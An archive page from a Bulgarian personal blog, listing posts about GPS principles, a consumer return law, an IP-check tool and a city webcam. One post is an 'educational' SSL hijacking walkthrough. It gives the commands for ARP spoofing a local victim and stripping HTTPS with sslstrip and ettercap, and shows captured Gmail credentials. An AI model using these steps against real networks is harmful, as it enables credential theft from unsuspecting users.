Архив

Статии по ключова дума: ‘потребителя’

Какво е GPS и какво знаем за него.

4 февруари, 2010 Няма коментари

Какво е GPS ?

Глобална система за позициониране (на английски „Global Positioning System“) или GPS (Дж Пи Ес) е името на спътникова радионавигационна система за определяне на положението, скоростта и времето с точност до 1 наносекунда във всяка точка на земното кълбо и околоземна орбита в реално време.

Системата се състои от минимум 24 спътника, разположени на 6 орбити на височина около 20 000 километра и наземен контролен център с наблюдателни станции, разположени в различни точки на Земята.
Принципът на действие се базира на измерването на разстоянието от мястото, чиито координати търсим, до група спътници, чиито координати са точно определени и известни. Разстоянието се пресмята на базата на времето за разпространение на радиосигнала от спътника до потребителя.

Глобалната система за позициониране е проектирана и контролирана от Министерството на отбраната на САЩ. Тя може да бъде използвана безплатно от всеки.

Поддръжката на системата струва около 400 млн. долара (USD) годишно, включително разходите по подмяна на остаряващите спътници. Първият от 24-те спътника, които формират сегашната GPS-групировка (Block II), е изведен в орбита на 14 февруари 1989 г. Последният изстрелян до момента спътник е 52-ри по ред от създаването на системата през 1978 г. и е изведен в орбита на 6 ноември 2004 с помощта на ракетата „Delta II“.

GPS -- принцип на действие

Принципът на действие на GPS се базира на т. нар. метод на трилатерация, чрез който позицията на една точка се определя като пресечената точка на няколко окръжности (или сфери) с известен радиус и известни координати на центъра.
В контекста на GPS, всеки спътник може да се определи като център на сфера с координати — позицията на спътника и радиус — разстоянието от спътника до приемника.
За да се определи положението на един приемник, то той трябва да разполага с разстоянието до спътниците и техните точни координати.

Определяне на разстоянието до GPS приемника

Разстоянието от всеки спътник до потребителя се пресмята като времето, за което сигналът изминава разстоянието от спътника до приемника, се умножи по скоростта на светлината (скоростта, с която се разпространяват електромагнитните вълни). Времето, за което сигналът достига до потребителя, е разликата във времето на приемане и на изпращане на сигнала. В математически вид това се представя със следния израз:

R = (tr -- te)c

Където R е изчисленото разстояние до спътника, tr и te са съответно времето на приемане и излъчване на сигнала, а c е скоростта на светлината.

Поради няколко причини, разстоянието изчислено в приемника съдържа грешки и не представлява реалната стойност. Това разстояние се нарича псевдоразстояние и именно то се използва за определяне на позицията.

За да се изчисли времевия интервал за разпространение на радиосигнала от спътника до потребителя, приемникът и спътникът генерират еднакъв код, синхронизиран по време. Тъй като GPS-спътниците изпращат известен, повтарящ се 1023-битов, псевдо-случаен код, приемниците са способни да генерират същия този код. В този случай, измерването на времето за пътуване на сигнала се свежда до измерване на закъснението на приетия код спрямо генерирания в приемника.

Точността на направеното измерване зависи основно от стабилността на бордовия еталон на честота. Приемниците и спътниците се нуждаят от изключително точни часовници, за да могат да генерират синхронизирани сигнали. Затова като основен елемент на спътниковата навигационна апаратура се използва генератор на честота с много голяма стабилност, реализиран с атомен часовник. Поради високата им цена обаче, в приемниците се използват по-евтини, но и по-неточни кварцови часовници. Ако часовниците на приемника и спътника бяха идеално синхронизирани, то всички сфери с център — позициите на спътниците и радиус — разстоянията до тях щяха да се пресичат в една точка, която е и търсената позиция. При непрецизни часовници, тези сфери не се пресичат в една и съща точка, поради грешката в определянето на радиусите им.

Определяне на положението на GPS спътниците

За да могат да се определят координатите на обектите, освен с разстоянието до спътниците, е необходимо да се знае и тяхното точно текущо местоположение. Информация за това се съдържа в излъченото от тях навигационно съобщение, чрез което се предават орбиталните параметри необходими за определяне на точното местоположение, параметрите за точността на часовниците, за корекциите им и оценка за точността на положението. Координатите на всеки спътник се пресмятат в приемника въз основа на тези параметри.

Определяне на положението на GPS приемника

Позицията на всеки приемник се определя като точка в тримерното пространство на земята и се състои от три координати — географска ширина, географска дължина и надморска височина. За да определи точното си положение, всеки приемник трябва да реши уравнение с три неизвестни, наречено навигационно уравнение. Към тези неизвестни се прибавя и грешката на часовника в приемника, за да се избегне проблема с недостатачната му прецизност. З аедно с трите координати тя се определя, като се използва разстоянието до спътниците. По този начин GPS-приемникът се нуждае от не много прецизен, но достатъчно стабилен часовник, като алгоритъмът за определяне на позицията компенсира грешката на часовника и позволява да се коригират разстоянията за изчисляването на точната позиция.

При използване на този метод за определяне на положението на приемник в тримерното пространство, при четири неизвестни са необходими най-малко четири GPS-спътника. Използването на повече от четири допринася за по-голяма точност на позицията.

В математически вид навигационното уравнение се извежда от геометричното разстояние до спътниците, имaйки предвид грешката в приемника, и се свежда до следния израз:

Където ρ е измереното разстояние до спътник i
xsi, ysi, zsi са координатите на спътник i
c е скоростта на светлината
ΔT е грешката на часовника в приемника
и x, y, z е позицията на приемника

В това уравнение има четири неизвестни, които могат да се намерят като се състави система от уравнения с използването на четири или повече спътника. Тъй като тази система е сложна за решаване, поради факта, че съдържа квадратни уравнения с няколко неизвестни, то тя трябва да се линеаризира около точка, която е най-добре да бъде позицията на приемника. Тази техника позволява лесното решаване на навигационното уравнение и намирането на положението на приемника.


Приложение на GPS

GPS е система, проектирана от американските военни, и основно се употребява за военни цели. Тя се използва на всяко място, където е разположена американската армия, за определяне на позицията на бойните единици, управление на бойни ракети и др. GPS-сателитите са оборудвани с детектори на ядрени детонации и се използват като част от прoграмата на САЩ за откриване на ядрени взривове.

Освен за военни цели, системата се използва широко и от цивилни потребители, тъй като дава възможност да се определя положението и времето с много висока точност.
Важна характеристика на системата е възможността тя да бъде използвана безплатно, което я прави изключително интересна на потребителския пазар.

Някои от основните области на приложение на GPS са:

  • Навигация в транспорта -- използва се за навигация в пътния, морския и въздушния транспорт, оптимизация на маршрути. В момента съществува голям брой сравнително евтини приемници и приложения, които се използват за навигация в автомобилите.
  • Науката и изследователската дейност — в географията, картографията, геологията, геодезията, археологията и др.
  • Селското стопанство — за планиране на терени, навигация на селскостопански машини и др.
  • Комуникациите -- за синхронизиране на комуникационни системи
  • Туризъм и спорт — ориентиране, планински спасителни служби
  • Определяне на точното време и др.

Източник: www.gps.gogo-bg.net

SSL Hijacking- Видео демонстрация

6 януари, 2010 1 коментар

Здравейте отново от мен Мартин Петров и както винаги тази видео демонстрация е създадена с учебна цел. Авторът не носи отговорност за потенциални щети нанесени от демонстрацията.

Сега ще ви демонстрирам как можете да подслушвате SSL връзки или SSL Hijachking чрез sslstrip от Moxie Marlinspike.

Преди всичко трябва да сканираме своята мрежа и да си изберем потребител на които ще подслушваме SSL връзката.
Отваряме терминал едно и сканираме нашата мрежа

Избираме потребител с IP адрес 192.168.1.100

Сега ще се подготвим за нашият SSL Hijacking като отварим терминал 1 и  редактираме /etc/etter.conf

Позволяваме форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward

Сега пренасочваме порт 80 към 10 000 с iptables

iptables -t nat -A PREROUTNIG -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Сега изпълняваме arp спуфинг

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

В терминал две стартираме sslstrip с аргумент -a -k -f

sslstrip -a -k -f

И в терминал 3 стартираме ettercap за да видим резултата от всичко това :)

ettercap -T -q -i eth0

Хайде сега да наблюдаваме машината на потребителя

Сега потребителят ще отвори сайт с криптирана връзка HTTPS. Например gmail: https://mail.google.com

Въвежда примерно потребителско име и парола

Ще погледнем ettercap в нашата машина. Виждаме потребителското име и паролата които потребителя  въведе по- рано. Всичко се вижда в чист текст като се има впредвид, че връзката беше реализирана чрез https.

По същия начин могат да се прослушват и нормални връзки към страници работещи на 80-ти порт.

Сега потребителя ще отвори уеб сайта arenabg.com и ще въведе примерно потребителско име и парола
Отново виждаме потребителското име и парола.

Видео демонстрация SSL Hijacking:

1. Видео демонстрация качена във vbox
2. Видео демонстрация качена във youtube

Как да проверя какъв е моят IP Address

3 януари, 2010 Няма коментари

Наложи ми се да пусна една малка уеб тулка която да ми показва публичният IP адрес и понеже е супер лесна за реализация реших да направя и допълнение което да извежда информация за браузъра на потребителя. Ето връзка и към тази тулка: Как да проверява какъв е моят IP Address

Как да проверя какъв е моят IP Address

3 януари, 2010 Няма коментари

Наложи ми се да пусна една малка уеб тулка която да ми показва публичният IP адрес и понеже е супер лесна за реализация реших да направя и допълнение което да извежда информация за браузъра на потребителя. Ето връзка и към тази тулка: Как да проверява какъв е моят IP Address

Член 55- Закон за защита на потребилите

12 юли, 2009 1 коментар

Съгласно чл. 55, ал. 1 от Закона за защита на потребителите (ЗЗП), потребителят има право, без да дължи обезщетение или неустойка и без да посочва причина да се откаже от получената стока в срок на седем работни дни от датата на получаване на стоката. В този случай търговеца е длъжен да възстанови на потребителя в пълен размер заплатените от него суми не по-късно от 30 дни, считано от датата, на която потребителят е упражнил правото си да се откаже от стоката, съгласно чл. 55, ал. 6 от Закона за защита на потребителите. Сумите се възстановяват в брой, чрез наложен платеж или по банкова сметка на клиента. Потребителят е длъжен да съхранява получените от търговеца стоки, тяхното качество и безопасност по време на срока по чл. 55, ал.1 от Закона за защита на потребителите. За да бъдат върнати обратно закупените продукти задължително условие е те да бъдат в изряден търговски вид, без да са използвани и без да е нарушена целостта на опаковката. Продуктите трябва да отговарят на вида, в който са получени от потребителя. На връщане и отказ не подлежат продукти, които не отговарят на тези условия съгласно Закона за защита на потребителите. Търговеца има право да откаже връщането на продукт, съобразно действащото законодателство. В случай на фабричен дефект, който е установен след получаването на продукта, клиента го връща за сметка на магазина и се изпраща друг продукт като заявения. В този случай транспортните разходи са за сметка на търговеца. При връщане на закупена стока транспортните разходи са за сметка на клиента и не се възстановяват.

Уеб камера на Добрич Онлайн

17 март, 2009 2 коментари

Днес във връзка с една от предните публикации в която пуснах камерката CN-WCAM313 под ГНУ/Линукс сега реализирам идеята. Идеята е да се пусне уеб камера на гр. Добрич която реално да показва картина от гр. Добрич (за първи път го бях направил преди 5 години, но уви машината ми трябваше и трябваше да бъде спряна, сега има специална машина и услугата няма да бъде спряна!) След като започна да генерира снимки то трябва те да се извеждат на потребителя и тук вместо стандартния meta refresh метод или js обновяване реших изображенията да се извеждат, чрез flash плейър или т.е. да се спазва еднаквност както при онлайн телевизията тв. "Добруджа".  Онлайн камерата в гр. Добрич може да бъде наблюдавана в портала на Добрич. За реализирането на този проект трябва да благодаря на carnophage за помоща при реализирането на плейъра.

Връзка към реализираната идея: Камера Добрич

PS: Traykoff (carnophage) заедно с glavoreza реализират един наистина много хубав и ПОПУЛЯРЕН сайт за видео уроци на флаш в българското интернет пространство. Браво. Продължавайте все така!